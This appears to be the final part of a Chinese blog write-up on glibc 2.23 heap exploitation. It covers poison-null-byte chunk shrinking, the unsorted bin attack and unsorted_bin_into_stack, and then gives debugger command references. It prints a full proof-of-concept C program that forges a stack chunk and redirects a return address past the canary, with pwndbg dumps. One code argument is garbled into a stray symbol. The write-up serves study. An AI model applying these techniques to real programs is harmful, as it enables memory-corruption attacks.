  • 收缩被释放块(即本题):此情况针对溢出的字节只能为 0 的时候,也就是本节所说的 poison-null-byte,此时将下一个被释放的块大小缩小,如此一来在之后分裂此块时将无法正确更新后一块的 prev_size 字段,导致释放时出现重叠的堆块。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  0x100     0x210     0x80
|-------|---------------|-------|
| A | B | C | 初始状态
|-------|---------------|-------|
| A | B | C | 释放 B
|-------|---------------|-------|
| A | B | C | 溢出 B 的 size 为 0x200
|-------|---------------|-------| 之后的 malloc 操作没有更新 C 的 prev_size
0x100 0x80
|-------|------|-----|--|-------|
| A | B1 | B2 | | C | malloc(0x180-8), malloc(0x80-8)
|-------|------|-----|--|-------|
| A | B1 | B2 | | C | 释放 B1
|-------|------|-----|--|-------|
| A | B1 | B2 | | C | 释放 C,C 将与 B1 合并
|-------|------|-----|--|-------|
| A | B1 | B2 | | C | malloc(0x180-8)
|-------|------|-----|--|-------| B2 将被覆盖
|<实际得到的块>|

unsorted_bin_attack-2.23

这个例程通过 unsortedbin 攻击往栈中写入一个 unsigned long 的值。
在实战中,unsorted bin 攻击通常是为更进一步的攻击做准备的。
比如,我们在栈上有一个栈单元 stack_var 需要被改写
image.png
然后正常地分配一个 chunk。
image.png
再分配一个,防止前一个 chunk 在 free 的时候被合并了。
然后 free(p);之后 p 会被插入到 unsortedbin 链表中,它的 fd 和 bk 都指向 unsortedbin 的 head。
image.png
image.png
接着我们模拟一个漏洞攻击改写 p 的 bk 指针:
image.png
然后 malloc
image.png
然后stack_var的值就被改写成了 unsortedbin 的 head 的地址了。
image.png
之前的 unsafe_unlink 是通过 unlink 来直接控制地址,这里则是通过 unlink 来泄漏 libc 的信息,来进行进一步的攻击。
可以参考这一篇:Pwn 的挖坑填坑之旅
image.png

unsorted_bin_into_stack-2.23

例子源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

void jackpot(){ printf("Nice jump d00d\n"); exit(0); }

int main() {
intptr_t stack_buffer[4] = {0};

printf("Allocating the victim chunk\n");
intptr_t* victim = malloc(0x100);

printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
intptr_t* p1 = malloc(0x100);

printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free(victim);

printf("Create a fake chunk on the stack");
printf("Set size for next allocation and the bk pointer to any writable address");
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;

//------------VULNERABILITY-----------
printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*S
IZE_SZ (> 16 on x64) && < av->system_mem\n");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
//------------------------------------

printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
char *p2 = malloc(0x100);
printf("malloc(0x100): %p\n", p2);

intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p2+40), ≻, 8); // This bypasses stack-smash detection since it jumps over the canary

assert((long)__builtin_return_address(0) == (long)jackpot);
}

本题 unsorted-bin-into-stack 通过改写 unsorted bin 里 chunk 的 bk 指针到任意地址,从而在栈上 malloc 出 chunk。
初始栈
image.png
先 malloc 一个 victim 块
image.png
再分配一个防止 free 的时候和 top chunk 合并。
image.png
接下来释放 p
image.png
可以看到它插入了 unsorted bin 列表中
我们要在栈上构造一个 chunk,

1
2
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;

查看此时内存布局

1
2
3
4
5
6
7
8
pwndbg> x/6gx victim - 2
0x8008010: 0x0000000000000000 0x0000000000000111 <-- victim chunk
0x8008020: 0x00007fffff3f3b78 0x00007fffff3f3b78
0x8008030: 0x0000000000000000 0x0000000000000000

pwndbg> x/4gx stack_buffer
0x7ffffffed9a0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
0x7ffffffed9b0: 0x0000000000000000 0x00007ffffffed9a0

然后假设有一个漏洞,可以改写 victim chunk 的 bk 指针,那么将其改为指向 fake chunk:

1
2
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack

这里的 size = 32,只要是一个合理的范围,比之后要申请的 chunk size 要小就行。然后我们把 victim->bk 的值赋为 stack_buffer

1
2
3
4
pwndbg> x/6gx victim - 2
0x8008010: 0x0000000000000000 0x0000000000000020 <-- victim chunk
0x8008020: 0x00007fffff3f3b78 0x00007ffffffed9a0 <-- bk pointer
0x8008030: 0x0000000000000000 0x0000000000000000

那么此时就相当于 fake chunk 已经被链接到 unsorted bin 中。在下一次 malloc 的时候,malloc 会顺着 bk 指针进行遍历,于是就找到了大小正好合适的 fake chunk:
image.png
过程如下:

首先 victim chunk 被从 unsorted bin 中取出:

1
2
3
4
bck = victim->bk;
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

显然这个 chunk 的大小是不够的,所以被放入 small bin 中。
现在再从 unsorted bin 拿出一个被构造的 fake chunk ,现在有了一些检查:

1
2
3
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))

大小合理,轻松绕过。而另外值得注意的是 fake chunk 的 fd 指针被修改了,这是 unsorted bin 的地址,通过它可以泄露 libc 地址.

1
2
3
4
pwndbg> x/6gx victim - 2
0x8008010: 0x0000000000000000 0x0000000000000020
0x8008020: 0x00007fffff3f3b88 0x00007fffff3f3b88
0x8008030: 0x0000000000000000 0x0000000000000000

附录

Pwngdb

libc : Print the base address of libc
ld : Print the base address of ld
codebase : Print the base of code segment
heap : Print the base of heap
got : Print the Global Offset Table infomation
dyn : Print the Dynamic section infomation
findcall : Find some function call
bcall : Set the breakpoint at some function call
tls : Print the thread local storage address
at : Attach by process name
findsyscall : Find the syscall
force : Calculate the nb in the house of force.
heapinfo :打印 heap 的一些信息
heapinfoall : Print some infomation of heap (all threads)
arenainfo : Print some infomation of all arena
chunkptr : 打印 chunk 的信息 后面加 chunk 返回给用户的地址
printfastbin : 打印 fastbin 的链表信息
tracemalloc on : 追踪程序 chunk 的 malloc 和 free
parseheap :解析堆的布局
magic : 打印出 glibc 中一些有用的信息
fp : show FILE structure
fp (Address of FILE)

pwndbg

top_chunk: 显示 top chunk 的信息
malloc_chunk address:打印出已被分配的 chunk 的信息
fastbins:显示 fastbins 链表信息
unsorted:显示 unsortedbin 的信息
smallbins:显示 smallbins 的信息
largebins:显示 largebins 的信息
bins:显示所有 bins 的信息
mp:显示一些内存管理用到的全局变量
arena:显示分配区的信息

peda 基础命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
file 路径 - 附加文件
break *0x400100 (b main) - 在 0x400100 处下断点
tb - 一次性断点
info b - 查看断点信息
enable - 激活断点
disable - 禁用断点
delete [number] - 删除断点
watch *(int *)0x08044530 - 在内存0x0804453处的数据改变时stop
p $eax - 输出eax的内容
set $eax=4 - 修改变量值

c - 继续运行
r - 开始运行
ni - 单步步过
si - 单步步入
fini - 运行至函数刚结束处
return expression - 将函数返回值指定为expression
bt - 查看当前栈帧
info f - 查看当前栈帧
context - 查看运行上下文
stack - 查看当前堆栈
call func - 强制函数调用
stack 100 - 插件提供的,显示栈中100
find xxx  - 快速查找,很实用

x/<n/f/u> <addr> n、f、u是可选的参数。
x /4xg $ebp:查看ebp开始的48字节内容
x/wx $esp   以4字节16进制显示栈中内容
b表示单字节,h表示双字节,w表示四字 节,g表示八字节
s 按字符串输出
x 按十六进制格式显示变量。
d 按十进制格式显示变量。
u 按十六进制格式显示无符号整型。
o 按八进制格式显示变量。
t 按二进制格式显示变量。
a 按十六进制格式显示变量。
c 按字符格式显示变量。
f 按浮点数格式显示变量。
i:反汇编

但是实际的组合就那么几种:
x/s 地址  查看字符串
x/wx 地址  查看DWORD
x/c 地址  单字节查看
x/16x $esp+12 查看寄存器偏移

set args - 可指定运行时参数。(如:set args 10 20 30 40 50
show args - 命令可以查看设置好的运行参数。

peda 插件命令

  • aslr - 显示/设定 GDB 的 ASLR(地址空间配置随机加载)设置

gdb-peda$ aslr ASLR is OFF

  • checksec - 检查二进制文件的各种安全选项

gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial

  • dumpargs - 函数将要被调用时,显示将要被传入函数的所有参数(默认会在反汇编代码下方自动显示)
  • dumprop - 在给定内存范围中 Dump 出所有 ROP gadgets
  • elfheader - 从被调试的 ELF 文件中获取标题信息
  • elfsymbol - 从 ELF 文件获取非调试符号信息(plt 表)
  • lookup - 搜索所有地址/参考地址属于一个内存范围
  • patch - 修补程序内存以 string / hexstring / int 的地址开始
  • procinfo - 显示/ proc / pid /
  • pshow - 显示各种 PEDA 选项和其他设置
  • pset - 设置各种 PEDA 选项和其他设置
  • pattern - 生成字符串模板 写入内存 用于定位溢出点
    • pattern create size 生成特定长度字符串
    • pattern offset value 定位字符串
  • procinfo – Display various info from /proc/pid/
  • pshow – Show various PEDA options and other settings
  • pset– Set various PEDA options and other settings
  • readelf - 从 ELF 文件获取标题信息
  • ropgadget - 获取二进制或库的通用 ROP 小工具
  • ropsearch - 在内存中搜索 ROP 小工具
  • searchmem - 用搜索内存
    • searchmem|find - 在内存中查找字符串,支持正则表达式,例如 searchmem “/bin/sh” libc
  • shellcode - 生成或下载常用的 shellcode。
  • skeleton - 生成 python 漏洞利用代码模板
  • vmmap - 可以用来查看栈、bss 段是否可以执行
  • xormem - 用一个键异或存储区域
  • ptype struct link_map - 查看 link_map 定义
  • p &((struct link_map*)0)->l_info - 查看 l_info 成员偏移

主要参考

【1】https://blog.csdn.net/kelxLZ/article/details/112972504

后记

因为之前把 wsl2 搞崩了,为了这个实验,又又又重装了一次
卸载过程参考:
https://blog.csdn.net/qq_39522282/article/details/86168907
https://blog.csdn.net/gzroy/article/details/104069536


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!